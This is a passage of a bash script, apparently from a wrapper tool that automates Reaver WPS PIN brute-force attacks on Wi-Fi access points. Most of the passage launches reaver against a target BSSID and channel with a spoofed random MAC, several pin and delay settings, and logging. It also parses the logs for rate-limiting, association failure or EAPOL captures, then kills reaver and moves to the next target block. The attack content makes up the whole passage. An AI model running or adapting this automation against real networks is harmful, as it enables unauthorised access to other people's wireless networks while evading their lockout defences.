if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME34-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME34-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME34-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME34-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME34-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME34-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME34-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME34-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME34-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME34-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME34-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME34-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP34 (ESSID: $NMEWARN34)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME34-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME34-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME34-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME34-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP34 (ESSID: $NMEWARN34)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME34-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R34 == y || $USE_R34 == Y ]] && [[ $USE_LONG34 == n || $USE_LONG34 == N ]] && [[ $USE_PIN34 == y || $USE_PIN34 == Y ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME34"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL34"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP34"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX34" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY34"
echo -e "$info Reaver live time                   = $yel$LIVE34 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME34-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL34 -b $TARGETAP34 -vv -x 60 -r $RX34:$RY34 --pin=$WPS_PIN34 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME34-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE34-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME34-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME34-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME34-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME34-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME34-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME34-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME34-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME34-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME34-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME34-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME34-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME34-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP34 (ESSID: $NMEWARN34)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME34-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME34-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME34-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME34-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP34 (ESSID: $NMEWARN34)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME34-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired

PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R34 == n || $USE_R34 == N ]] && [[ $USE_LONG34 == y || $USE_LONG34 == Y ]] && [[ $USE_PIN34 == y || $USE_PIN34 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME34"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL34"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP34"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE34 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME34-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL34 -b $TARGETAP34 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN34 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME34-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE34-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME34-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME34-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME34-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME34-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME34-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME34-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME34-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME34-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME34-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME34-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME34-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME34-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP34 (ESSID: $NMEWARN34)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME34-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME34-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME34-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME34-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP34 (ESSID: $NMEWARN34)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME34-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R34 == y || $USE_R34 == Y ]] && [[ $USE_LONG34 == y || $USE_LONG34 == Y ]] && [[ $USE_PIN34 == y || $USE_PIN34 == Y ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME34"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL34"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP34"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX34" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY34"
echo -e "$info Reaver live time                   = $yel$LIVE34 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME34-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL34 -b $TARGETAP34 -r $RX34:$RY34 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN34 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME34-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE34-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME34-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME34-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME34-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME34-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME34-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME34-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME34-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME34-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME34-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME34-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME34-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME34-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP34 (ESSID: $NMEWARN34)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME34-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME34-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME34-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME34-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP34 (ESSID: $NMEWARN34)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME34-$DATEFILE-$PAD

                   fi


#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null



clear
	fi

################# Determine to keep file or not ###########

 if [ $KEEP_FILE34 == n ] || [ $KEEP_FILE34 == N ]; then

          rm VARMAC_LOGS/$NAME34-$DATEFILE-$PAD

			fi

################End keep file or ease #####################


###############################END USR Block################################################
###############################Start USR Block################################################

if [[ $USE_R35 == n || $USE_R35 == N ]] && [[ $USE_LONG35 == n || $USE_LONG35 == N ]] && [[ $USE_PIN35 == n || $USE_PIN35 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME35"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL35"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP35"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE35 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME35-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL35 -b $TARGETAP35 -vv -x 60 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME35-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE35-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME35-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi


if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME35-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME35-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME35-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY1" ]] || [[ $line == "YYY21" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY22" ]] || [[ $line == "YYY23" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME35-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME35-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME35-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME35-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME35-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME35-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME35-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME35-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY43" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP35 (ESSID: $NMEWARN35)" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY41" ]] || [[ $line == "YYY42" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME35-$DATEFILE-$PAD


                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME35-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

